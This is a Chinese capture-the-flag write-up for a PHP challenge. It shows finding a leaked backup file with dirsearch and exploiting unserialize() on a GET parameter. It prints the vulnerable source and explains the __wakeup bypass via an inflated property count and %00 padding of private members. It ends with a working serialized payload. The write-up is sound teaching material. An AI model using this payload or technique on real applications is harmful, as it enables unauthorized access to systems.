[极客大挑战]PHP——目录泄露+反序列化

时间:2020-03-27
本文章向大家介绍[极客大挑战]PHP——目录泄露+反序列化,主要包括[极客大挑战]PHP——目录泄露+反序列化使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

考点:目录泄露+PHP反序列化

题目一览

拿到题目,前端是个逗猫游戏

源码也没什么东西,先dirsearch跑一遍,这里设置下delay,防止频率过快被报429:

发现备份文件,打开发现源码:

分析

index.php

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

class.php:

?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

flag.php里面是个假flag。

从index.php不难看出是个反序列化题目,我们直接分析class.php:

类名:name

成员变量:private的$username $password

__construct:类的构造函数

__wakeup:一个类反序列化时,调用该函数。会把username变成guest

__destruct:析构函数。类销毁的时候执行,只有username为admin,password为100时候,输出flag

绕过__wakeup方法很简单:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过wakeup的执行

<?php
class Name{
    private $username = 'admin';
    private $password = 100;

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}

$a = new Name();
echo serialize($a);
?>

得到:

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

在改对象个数之前,可以发现一个问题:Nameusername是12个字符,为什么显示14个?

见下例:

<?php
class test{
    private $test1="hello";
    public $test2="hello";
    protected $test3="hello";
}
$test = new test();
echo serialize($test);
?>

输出为:

O:4:"test":3:{s:11:"testtest1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"*test3";s:5:"hello";}

如果我们抓包的话,可以看到如下结果:

{s:11:"%00test%00test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"%00*%00test3";s:5:"hello";}

private的成员变量被反序列化后变成 %00test%00test1

public的成员变量不变,仍为test2

protected的成员变量变成 %00*%00test3

这就是为什么我们的payload变成了14,因为多的2个字符为%00,为不可打印字符,所以不显示。

最终payload

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

最后别忘了传一个select参数:

原文地址:https://www.cnblogs.com/keelongz/p/12580444.html